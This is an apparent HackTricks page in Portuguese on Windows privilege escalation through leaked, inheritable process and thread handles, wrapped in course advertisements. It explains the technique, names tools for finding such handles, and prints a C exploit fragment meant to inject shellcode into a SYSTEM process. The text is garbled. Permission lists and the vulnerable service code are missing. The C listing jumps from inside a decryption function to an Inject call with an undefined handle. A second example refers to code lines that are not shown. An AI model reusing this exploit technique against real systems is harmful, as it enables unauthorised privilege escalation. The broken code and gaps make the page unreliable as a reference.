Learn & practice AWS Hacking:<imgsrc="/.gitbook/assets/arte.png"alt=""data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<imgsrc="/.gitbook/assets/arte.png"alt=""data-size="line">\
Learn & practice GCP Hacking: <imgsrc="/.gitbook/assets/grte.png"alt=""data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<imgsrc="/.gitbook/assets/grte.png"alt=""data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## Introdução
Handles em um processo permitem **acessar** diferentes **recursos do Windows**:
![RootedCON2022 - Exploiting Leaked Handles for LPE](<../../.gitbook/assets/image (246).png>)
Já houve vários casos de **escalonamento de privilégios** onde um **processo privilegiado** com **handles abertos e herdáveis****executou** um **processo não privilegiado**, dando a ele **acesso a todos esses handles**.
Por exemplo, imagine que **um processo executando como SYSTEM abre um novo processo** (`OpenProcess()`) com **acesso total**. O mesmo processo **também cria um novo processo** (`CreateProcess()`) **com baixos privilégios, mas herdando todos os handles abertos do processo principal**.\
Então, se você tiver **acesso total ao processo de baixo privilégio**, você pode pegar o **handle aberto para o processo privilegiado criado** com `OpenProcess()` e **injetar um shellcode**.
Como você leu no exemplo inicial, se um **processo não privilegiado herda um handle de processo** de um **processo privilegiado** com permissões suficientes, ele poderá executar **código arbitrário nele**.
Em [**este excelente artigo**](http://dronesec.pw/blog/2019/08/22/exploiting-leaked-process-and-thread-handles/) você pode ver como explorar qualquer handle de processo que tenha alguma das seguintes permissões:
Semelhante aos handles de processo, se um **processo não privilegiado herda um handle de thread** de um **processo privilegiado** com permissões suficientes, ele poderá executar **código arbitrário nele**.
Em [**este excelente artigo**](http://dronesec.pw/blog/2019/08/22/exploiting-leaked-process-and-thread-handles/) você também pode ver como explorar qualquer handle de processo que tenha alguma das seguintes permissões:
Se um **processo não privilegiado herda** um **handle** com permissões equivalentes de **escrita** sobre um **arquivo ou registro privilegiado**, ele poderá **sobrescrever** o arquivo/registro (e com muita **sorte**, **escalar privilégios**).
**Handles de Seção** são semelhantes aos handles de arquivo, o nome comum desse tipo de [objeto é **"File Mapping"**](https://docs.microsoft.com/en-us/windows/win32/memory/file-mapping). Eles são usados para trabalhar com **arquivos grandes sem manter o arquivo inteiro** na memória. Isso torna a exploração "semelhante" à exploração de um Handle de Arquivo.
## Como ver handles de processos
### Process Hacker
[**Process Hacker**](https://github.com/processhacker/processhacker) é uma ferramenta que você pode baixar gratuitamente. Ela tem várias opções incríveis para inspecionar processos e uma delas é a **capacidade de ver os handles de cada processo**.
Note que para **ver todos os handles de todos os processos, o SeDebugPrivilege é necessário** (então você precisa executar o Process Hacker como administrador).
Para ver os handles de um processo, clique com o botão direito no processo e selecione Handles:
![](<../../.gitbook/assets/image(616).png>)
Você pode então clicar com o botão direito no handle e **verificar as permissões**:
![](<../../.gitbook/assets/image(946).png>)
### Sysinternals Handles
O [**Handles** ](https://docs.microsoft.com/en-us/sysinternals/downloads/handle)binário do Sysinternals também listará os handles por processo no console:
![](<../../.gitbook/assets/image(720).png>)
### LeakedHandlesFinder
[**Esta ferramenta**](https://github.com/lab52io/LeakedHandlesFinder) permite que você **monitore** handles **vazados** e até mesmo **autoexplore** eles para escalar privilégios.
### Metodologia
Agora que você sabe como encontrar handles de processos, o que você precisa verificar é se algum **processo não privilegiado está tendo acesso a handles privilegiados**. Nesse caso, o usuário do processo poderia ser capaz de obter o handle e abusar dele para escalar privilégios.
Foi mencionado anteriormente que você precisa do SeDebugPrivilege para acessar todos os handles. Mas um **usuário ainda pode acessar os handles de seus processos**, então pode ser útil se você quiser escalar privilégios apenas desse usuário para **executar as ferramentas com as permissões regulares do usuário**.
Por exemplo, o seguinte código pertence a um **serviço do Windows** que seria vulnerável. O código vulnerável deste binário de serviço está localizado dentro da função **`Exploit`**. Esta função começa **criando um novo processo de handle com acesso total**. Em seguida, está **criando um processo de baixo privilégio** (copiando o token de baixo privilégio do _explorer.exe_) executando _C:\users\username\desktop\client.exe_. A **vulnerabilidade reside no fato de que está criando o processo de baixo privilégio com `bInheritHandles` como `TRUE`**.
Portanto, este processo de baixo privilégio é capaz de capturar o handle do processo de alto privilégio criado primeiro e injetar e executar um shellcode (veja a próxima seção).
Em um cenário real, você provavelmente **não conseguirá controlar o binário** que será executado pelo código vulnerável (_C:\users\username\desktop\client.exe_ neste caso). Provavelmente você **comprometerá um processo e precisará verificar se pode acessar algum handle vulnerável de algum processo privilegiado**.
{% endhint %}
Neste exemplo, você pode encontrar o código de um possível exploit para _C:\users\username\desktop\client.exe_.\
A parte mais interessante deste código está localizada em `GetVulnProcHandle`. Esta função irá **começar a buscar todos os handles**, então irá **verificar se algum deles pertence ao mesmo PID** e se o handle pertence a um **processo**. Se todos esses requisitos forem atendidos (um handle de processo aberto acessível for encontrado), ele tentará **injetar e executar um shellcode abusando do handle do processo**.\
A injeção do shellcode é feita dentro da função **`Inject`** e ela apenas **escreverá o shellcode dentro do processo privilegiado e criará uma thread dentro do mesmo processo** para executar o shellcode).
```c
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>
#include <wincrypt.h>
#include <psapi.h>
#include <tchar.h>
#include <tlhelp32.h>
#include "client.h"
#pragma comment (lib, "crypt32.lib")
#pragma comment (lib, "advapi32")
#pragma comment (lib, "kernel32")
int AESDecrypt(char * payload, unsigned int payload_len, char * key, size_t keylen) {
HCRYPTPROV hProv;
HCRYPTHASH hHash;
HCRYPTKEY hKey;
if (!CryptAcquireContextW(&hProv, NULL, NULL, PROV_RSA_AES, CRYPT_VERIFYCONTEXT)){
return -1;
}
if (!CryptCreateHash(hProv, CALG_SHA_256, 0, 0, &hHash)){
return -1;
}
if (!CryptHashData(hHash, (BYTE*)key, (DWORD)keylen, 0)){
return -1;
}
if (!CryptDeriveKey(hProv, CALG_AES_256, hHash, 0,&hKey)){
return -1;
}
if (!CryptDecrypt(hKey, (HCRYPTHASH) NULL, 0, 0, payload, &payload_len)){
// Inject and run the payload in the privileged context
Inject(hProc, payload, payload_len);
printf("done.\n");
}
getchar();
return 0;
}
```
### Exploit Example 2
{% hint style="info" %}
Em um cenário real, você provavelmente **não conseguirá controlar o binário** que será executado pelo código vulnerável (_C:\users\username\desktop\client.exe_ neste caso). Provavelmente, você **comprometerá um processo e precisará verificar se pode acessar algum handle vulnerável de algum processo privilegiado**.
{% endhint %}
Neste exemplo, **em vez de abusar do handle aberto para injetar** e executar um shellcode, **será usado o token do processo de handle privilegiado aberto para criar um novo**. Isso é feito nas linhas de 138 a 148.
Note como a **função `UpdateProcThreadAttribute`** é usada com o **atributo `PROC_THREAD_ATTRIBUTE_PARENT_PROCESS` e o handle do processo privilegiado aberto**. Isso significa que o **thread do processo criado executando \_cmd.exe**\_\*\* terá o mesmo privilégio de token que o processo de handle aberto\*\*.
Esta ferramenta permite monitorar handles vazados para encontrar vulneráveis e até mesmo explorá-los automaticamente. Também possui uma ferramenta para vazar um.
Aprenda e pratique Hacking AWS:<imgsrc="/.gitbook/assets/arte.png"alt=""data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<imgsrc="/.gitbook/assets/arte.png"alt=""data-size="line">\
Aprenda e pratique Hacking GCP: <imgsrc="/.gitbook/assets/grte.png"alt=""data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<imgsrc="/.gitbook/assets/grte.png"alt=""data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).